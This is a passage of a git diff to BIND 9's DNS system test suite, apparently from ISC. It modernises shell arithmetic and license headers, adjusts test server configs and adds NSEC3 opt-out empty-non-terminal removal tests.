-grep "RRSIG NSEC3 7 3 600" dig.out.ns3.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+grep "RRSIG NSEC3 ${DEFAULT_ALGORITHM_NUMBER} 3 600" dig.out.ns3.test$n > /dev/null || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that DNAME is not treated as a delegation when signing ($n)"
 ret=0
@@ -1601,24 +1243,97 @@ $DIG $DIGOPTS dname-and-txt.secure.example. DNAME @10.53.0.3 > dig.out.ns3.1.tes
 grep "dname-and-txt.secure.example.*RRSIG.*DNAME" dig.out.ns3.1.test$n > /dev/null 2>&1 || ret=1
 $DIG $DIGOPTS dname-and-txt.secure.example. TXT @10.53.0.3 > dig.out.ns3.2.test$n || ret=1
 grep "dname-and-txt.secure.example.*RRSIG.*TXT" dig.out.ns3.2.test$n > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking key maintenance events were logged correctly ($n)"
 ret=0
-pub=`grep "DNSKEY .* is now published" ns1/named.run | wc -l`
-[ "$pub" -eq 6 ] || ret=1
-act=`grep "DNSKEY .* is now active" ns1/named.run | wc -l`
-[ "$act" -eq 5 ] || ret=1
-rev=`grep "DNSKEY .* is now revoked" ns1/named.run | wc -l`
-[ "$rev" -eq 1 ] || ret=1
-inac=`grep "DNSKEY .* is now inactive" ns1/named.run | wc -l`
-[ "$inac" -eq 1 ] || ret=1
-del=`grep "DNSKEY .* is now deleted" ns1/named.run | wc -l`
-[ "$del" -eq 1 ] || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+pub=$(grep "DNSKEY .* is now published" ns2/named.run | grep -v "CDNSKEY" | wc -l)
+[ "$pub" -eq 10 ] || ret=1
+act=$(grep "DNSKEY .* is now active" ns2/named.run | wc -l)
+[ "$act" -eq 10 ] || ret=1
+rev=$(grep "DNSKEY .* is now revoked" ns2/named.run | wc -l)
+[ "$rev" -eq 0 ] || ret=1
+inac=$(grep "DNSKEY .* is now inactive" ns2/named.run | wc -l)
+[ "$inac" -eq 0 ] || ret=1
+del=$(grep "DNSKEY .* is now deleted" ns2/named.run | wc -l)
+[ "$del" -eq 0 ] || ret=1
+pub=$(grep "DNSKEY .* is now published" ns3/named.run | grep -v "CDNSKEY" | wc -l)
+act=$(grep "DNSKEY .* is now active" ns3/named.run | wc -l)
+if $SHELL ../testcrypto.sh -q RSASHA1
+then
+	# Include two log lines for nsec-only zone.
+	[ "$pub" -eq 53 ] || ret=1
+	[ "$act" -eq 53 ] || ret=1
+else
+	[ "$pub" -eq 51 ] || ret=1
+	[ "$act" -eq 51 ] || ret=1
+fi
+rev=$(grep "DNSKEY .* is now revoked" ns3/named.run | wc -l)
+[ "$rev" -eq 0 ] || ret=1
+inac=$(grep "DNSKEY .* is now inactive" ns3/named.run | wc -l)
+[ "$inac" -eq 0 ] || ret=1
+del=$(grep "DNSKEY .* is now deleted" ns3/named.run | wc -l)
+[ "$del" -eq 3 ] || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+echo_i "check removal of ENT NSEC3 records when opt out delegations are removed"
+zone=optout-with-ent
+hash=JTR8R6AVFULU0DQH9I6HNN2KUK5956EL
+
+# check that NSEC3 for ENT is present
+echo_i "check ENT NSEC3 is initially present"
+ret=0
+$DIG $DIGOPTS @10.53.0.2 a "ent.${zone}" > dig.out.pre.ns2.test$n
+grep "status: NOERROR" dig.out.pre.ns2.test$n >/dev/null || ret=1
+grep "ANSWER: 0, AUTHORITY: 4, " dig.out.pre.ns2.test$n > /dev/null || ret=1
+grep "^${hash}.${zone}." dig.out.pre.ns2.test$n > /dev/null || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "check ENT NSEC3 is still present after removing one of two delegations ($n)"
+ret=0
+# remove first delegation of two delegations, NSEC3 for ENT should remain.
+(
+echo zone $zone
+echo server 10.53.0.2 "$PORT"
+echo update del sub1.ent.$zone NS
+echo send
+) | $NSUPDATE
+# check that NSEC3 for ENT is still present
+$DIG $DIGOPTS @10.53.0.2 a "ent.${zone}" > dig.out.pre.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 a "ent.${zone}" > dig.out.mid.ns2.test$n
+grep "status: NOERROR" dig.out.mid.ns2.test$n >/dev/null || ret=1
+grep "ANSWER: 0, AUTHORITY: 4, " dig.out.mid.ns2.test$n > /dev/null || ret=1
+grep "^${hash}.${zone}." dig.out.mid.ns2.test$n > /dev/null || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "check ENT NSEC3 is gone after removing the second delegation ($n)"
+ret=0
+# remove second delegation of two delegations, NSEC3 for ENT should be deleted.
+(
+echo zone $zone
+echo server 10.53.0.2 "$PORT"
+echo update del sub2.ent.$zone NS
+echo send
+) | $NSUPDATE
+# check that NSEC3 for ENT is gone
+echo_i "check ENT NSEC3 is gone for zone $zone hash $hash"
+$DIG $DIGOPTS @10.53.0.2 a "ent.${zone}" > dig.out.post.ns2.test$n
+grep "status: NXDOMAIN" dig.out.post.ns2.test$n >/dev/null || ret=1
+grep "ANSWER: 0, AUTHORITY: 4, " dig.out.post.ns2.test$n > /dev/null || ret=1
+grep "^${hash}.${zone}." dig.out.post.ns2.test$n > /dev/null && ret=1
+$DIG $DIGOPTS @10.53.0.2 axfr "${zone}" > dig.out.axfr.ns2.test$n
+grep "^${hash}.${zone}." dig.out.axfr.ns2.test$n > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/autosign/tests_sh_autosign.py b/bin/tests/system/autosign/tests_sh_autosign.py
new file mode 100644
index 0000000000..16dfc29caf
--- /dev/null
+++ b/bin/tests/system/autosign/tests_sh_autosign.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_autosign(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/builtin/clean.sh b/bin/tests/system/builtin/clean.sh
index 16c0da0b42..1ad33dc1aa 100644
--- a/bin/tests/system/builtin/clean.sh
+++ b/bin/tests/system/builtin/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/builtin/ns1/named.conf.in b/bin/tests/system/builtin/ns1/named.conf.in
index d181a36cfd..723e6b20c0 100644
--- a/bin/tests/system/builtin/ns1/named.conf.in
+++ b/bin/tests/system/builtin/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,4 +27,5 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify no;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/builtin/ns2/named.conf.in b/bin/tests/system/builtin/ns2/named.conf.in
index e875a92381..38b95f0036 100644
--- a/bin/tests/system/builtin/ns2/named.conf.in
+++ b/bin/tests/system/builtin/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,4 +28,5 @@ options {
 	recursion yes;
 	notify no;
 	server-id hostname;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/builtin/ns3/named.conf.in b/bin/tests/system/builtin/ns3/named.conf.in
index 4bce9f7a72..df538dbbc8 100644
--- a/bin/tests/system/builtin/ns3/named.conf.in
+++ b/bin/tests/system/builtin/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,4 +30,5 @@ options {
 	hostname "this.is.a.test.of.hostname";
 	server-id "this.is.a.test.of.server-id";
 	version "this is a test of version";
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/builtin/setup.sh b/bin/tests/system/builtin/setup.sh
index c4670066e3..7ffda5583c 100644
--- a/bin/tests/system/builtin/setup.sh
+++ b/bin/tests/system/builtin/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/builtin/tests.sh b/bin/tests/system/builtin/tests.sh
index 9edc42b409..9151fc30ee 100644
--- a/bin/tests/system/builtin/tests.sh
+++ b/bin/tests/system/builtin/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -116,7 +122,7 @@ B.E.F.IP6.ARPA
 EMPTY.AS112.ARPA
 HOME.ARPA"
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 count=0
 echo_i "Checking expected empty zones were configured ($n)"
@@ -126,15 +132,15 @@ do
 		echo_i "failed (empty zone $zone missing)"
 		ret=1
 	}
-	count=`expr $count + 1`
+	count=$((count + 1))
 done
-lines=`grep "automatic empty zone: " ns1/named.run | wc -l`
+lines=$(grep "automatic empty zone: " ns1/named.run | wc -l)
 test $count -eq $lines -a $count -eq 99 || {
 	ret=1; echo_i "failed (count mismatch)";
 }
-if [ $ret != 0 ] ; then status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Checking that reconfiguring empty zones is silent ($n)"
 $RNDCCMD 10.53.0.1 reconfig
 ret=0
@@ -143,9 +149,9 @@ grep "received control channel command 'reconfig'" ns1/named.run > /dev/null ||
 grep "reloading configuration succeeded" ns1/named.run > /dev/null || ret=1
 sleep 1
 grep "zone serial (0) unchanged." ns1/named.run > /dev/null && ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Checking that reloading empty zones is silent ($n)"
 rndc_reload ns1 10.53.0.1
 ret=0
@@ -154,89 +160,89 @@ grep "received control channel command 'reload'" ns1/named.run > /dev/null || re
 grep "reloading configuration succeeded" ns1/named.run > /dev/null || ret=1
 sleep 1
 grep "zone serial (0) unchanged." ns1/named.run > /dev/null && ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-HOSTNAME=`$FEATURETEST --gethostname`
+HOST_NAME=$($FEATURETEST --gethostname)
 BIND_VERSION_STRING=$($NAMED -V | head -1)
 BIND_VERSION=$($NAMED -V | sed -ne 's/^BIND \([^ ]*\).*/\1/p')
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that default version works for rndc ($n)"
 $RNDCCMD 10.53.0.1 status > rndc.status.ns1.$n 2>&1
-fgrep "version: $BIND_VERSION_STRING" rndc.status.ns1.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+grep -F "version: $BIND_VERSION_STRING" rndc.status.ns1.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that custom version works for rndc ($n)"
 $RNDCCMD 10.53.0.3 status > rndc.status.ns3.$n 2>&1
-fgrep "version: $BIND_VERSION_STRING (this is a test of version)" rndc.status.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+grep -F "version: $BIND_VERSION_STRING (this is a test of version)" rndc.status.ns3.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that default version works for query ($n)"
-$DIG $DIGOPTS +short version.bind txt ch @10.53.0.1 > dig.out.ns1.$n
+$DIG $DIGOPTS +short version.bind txt ch @10.53.0.1 > dig.out.ns1.$n || ret=1
 grep "^\"$BIND_VERSION\"$" dig.out.ns1.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that custom version works for query ($n)"
-$DIG $DIGOPTS +short version.bind txt ch @10.53.0.3 > dig.out.ns3.$n
+$DIG $DIGOPTS +short version.bind txt ch @10.53.0.3 > dig.out.ns3.$n || ret=1
 grep "^\"this is a test of version\"$" dig.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that default hostname works for query ($n)"
-$DIG $DIGOPTS +short hostname.bind txt ch @10.53.0.1 > dig.out.ns1.$n
-grep "^\"$HOSTNAME\"$" dig.out.ns1.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+$DIG $DIGOPTS +short hostname.bind txt ch @10.53.0.1 > dig.out.ns1.$n || ret=1
+grep "^\"$HOST_NAME\"$" dig.out.ns1.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that custom hostname works for query ($n)"
-$DIG $DIGOPTS +short hostname.bind txt ch @10.53.0.3 > dig.out.ns3.$n
+$DIG $DIGOPTS +short hostname.bind txt ch @10.53.0.3 > dig.out.ns3.$n || ret=1
 grep "^\"this.is.a.test.of.hostname\"$" dig.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that default server-id is none for query ($n)"
-$DIG $DIGOPTS id.server txt ch @10.53.0.1 > dig.out.ns1.$n
+$DIG $DIGOPTS id.server txt ch @10.53.0.1 > dig.out.ns1.$n || ret=1
 grep "status: NOERROR" dig.out.ns1.$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns1.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that server-id hostname works for query ($n)"
-$DIG $DIGOPTS +short id.server txt ch @10.53.0.2 > dig.out.ns2.$n
-grep "^\"$HOSTNAME\"$" dig.out.ns2.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+$DIG $DIGOPTS +short id.server txt ch @10.53.0.2 > dig.out.ns2.$n || ret=1
+grep "^\"$HOST_NAME\"$" dig.out.ns2.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that server-id hostname works for EDNS name server ID request ($n)"
-$DIG $DIGOPTS +norec +nsid foo @10.53.0.2 > dig.out.ns2.$n
-grep "^; NSID: .* (\"$HOSTNAME\")$" dig.out.ns2.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+$DIG $DIGOPTS +norec +nsid foo @10.53.0.2 > dig.out.ns2.$n || ret=1
+grep "^; NSID: .* (\"$HOST_NAME\")$" dig.out.ns2.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that custom server-id works for query ($n)"
-$DIG $DIGOPTS +short id.server txt ch @10.53.0.3 > dig.out.ns3.$n
+$DIG $DIGOPTS +short id.server txt ch @10.53.0.3 > dig.out.ns3.$n || ret=1
 grep "^\"this.is.a.test.of.server-id\"$" dig.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "Checking that custom server-id works for EDNS name server ID request ($n)"
-$DIG $DIGOPTS +norec +nsid foo @10.53.0.3 > dig.out.ns3.$n
+$DIG $DIGOPTS +norec +nsid foo @10.53.0.3 > dig.out.ns3.$n || ret=1
 grep "^; NSID: .* (\"this.is.a.test.of.server-id\")$" dig.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/builtin/tests_sh_builtin.py b/bin/tests/system/builtin/tests_sh_builtin.py
new file mode 100644
index 0000000000..2246cb4595
--- /dev/null
+++ b/bin/tests/system/builtin/tests_sh_builtin.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_builtin(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/cacheclean/clean.sh b/bin/tests/system/cacheclean/clean.sh
index 2774699911..b346e65b5b 100644
--- a/bin/tests/system/cacheclean/clean.sh
+++ b/bin/tests/system/cacheclean/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cacheclean/ns1/example.db b/bin/tests/system/cacheclean/ns1/example.db
index 0231fbcd31..7262109dc3 100644
--- a/bin/tests/system/cacheclean/ns1/example.db
+++ b/bin/tests/system/cacheclean/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cacheclean/ns1/expire-test.db b/bin/tests/system/cacheclean/ns1/expire-test.db
index 32d708189a..80855430ff 100644
--- a/bin/tests/system/cacheclean/ns1/expire-test.db
+++ b/bin/tests/system/cacheclean/ns1/expire-test.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cacheclean/ns1/flushtest.db b/bin/tests/system/cacheclean/ns1/flushtest.db
index 72a1096fee..ac6b408c55 100644
--- a/bin/tests/system/cacheclean/ns1/flushtest.db
+++ b/bin/tests/system/cacheclean/ns1/flushtest.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cacheclean/ns1/named.args b/bin/tests/system/cacheclean/ns1/named.args
index 2ba9a1403d..b7ce00d2b7 100644
--- a/bin/tests/system/cacheclean/ns1/named.args
+++ b/bin/tests/system/cacheclean/ns1/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D cacheclean-ns1 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D cacheclean-ns1 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/cacheclean/ns1/named.conf.in b/bin/tests/system/cacheclean/ns1/named.conf.in
index 2f9234cc72..98d2b281be 100644
--- a/bin/tests/system/cacheclean/ns1/named.conf.in
+++ b/bin/tests/system/cacheclean/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cacheclean/ns2/named.args b/bin/tests/system/cacheclean/ns2/named.args
index 1bcc5eab28..071016c00b 100644
--- a/bin/tests/system/cacheclean/ns2/named.args
+++ b/bin/tests/system/cacheclean/ns2/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 3 -D cacheclean-ns2 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 3 -D cacheclean-ns2 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/cacheclean/ns2/named.conf.in b/bin/tests/system/cacheclean/ns2/named.conf.in
index 520264876b..0b5cd29813 100644
--- a/bin/tests/system/cacheclean/ns2/named.conf.in
+++ b/bin/tests/system/cacheclean/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,7 +27,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/cacheclean/setup.sh b/bin/tests/system/cacheclean/setup.sh
index 5c160b922e..6929ec541d 100644
--- a/bin/tests/system/cacheclean/setup.sh
+++ b/bin/tests/system/cacheclean/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cacheclean/tests.sh b/bin/tests/system/cacheclean/tests.sh
index 01c2be1317..a648c95a50 100755
--- a/bin/tests/system/cacheclean/tests.sh
+++ b/bin/tests/system/cacheclean/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -64,9 +68,9 @@ clear_cache () {
 }
 
 in_cache () {
-        ttl=`$DIG $DIGOPTS "$@" | awk '{print $2}'`
+        ttl=$($DIG $DIGOPTS "$@" | awk '{print $2}')
         [ -z "$ttl" ] && {
-                ttl=`$DIG $DIGOPTS +noanswer +auth "$@" | awk '{print $2}'`
+                ttl=$($DIG $DIGOPTS +noanswer +auth "$@" | awk '{print $2}')
                 [ "$ttl" -ge 3599 ] && return 1
                 return 0
         }
@@ -89,39 +93,39 @@ filter_tree () {
 	' "$file"
 }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check correctness of routine cache cleaning ($n)"
 $DIG $DIGOPTS +tcp +keepopen -b 10.53.0.7 -f dig.batch > dig.out.ns2 || status=1
 
 digcomp --lc dig.out.ns2 knowngood.dig.out || status=1
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "only one tcp socket was used ($n)"
-tcpclients=`awk '$3 == "client" && $5 ~ /10.53.0.7#[0-9]*:/ {print $5}' ns2/named.run | sort | uniq -c | wc -l`
+tcpclients=$(awk '$3 == "client" && $5 ~ /10.53.0.7#[0-9]*:/ {print $5}' ns2/named.run | sort | uniq -c | wc -l)
 
 test $tcpclients -eq 1 || { status=1; echo_i "failed"; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "reset and check that records are correctly cached initially ($n)"
 ret=0
 load_cache
 dump_cache
-nrecords=`filter_tree flushtest.example ns2/named_dump.db.test$n | egrep '(TXT|ANY)' | wc -l`
+nrecords=$(filter_tree flushtest.example ns2/named_dump.db.test$n | grep -E '(TXT|ANY)' | wc -l)
 [ $nrecords -eq 18 ] || { ret=1; echo_i "found $nrecords records expected 18"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
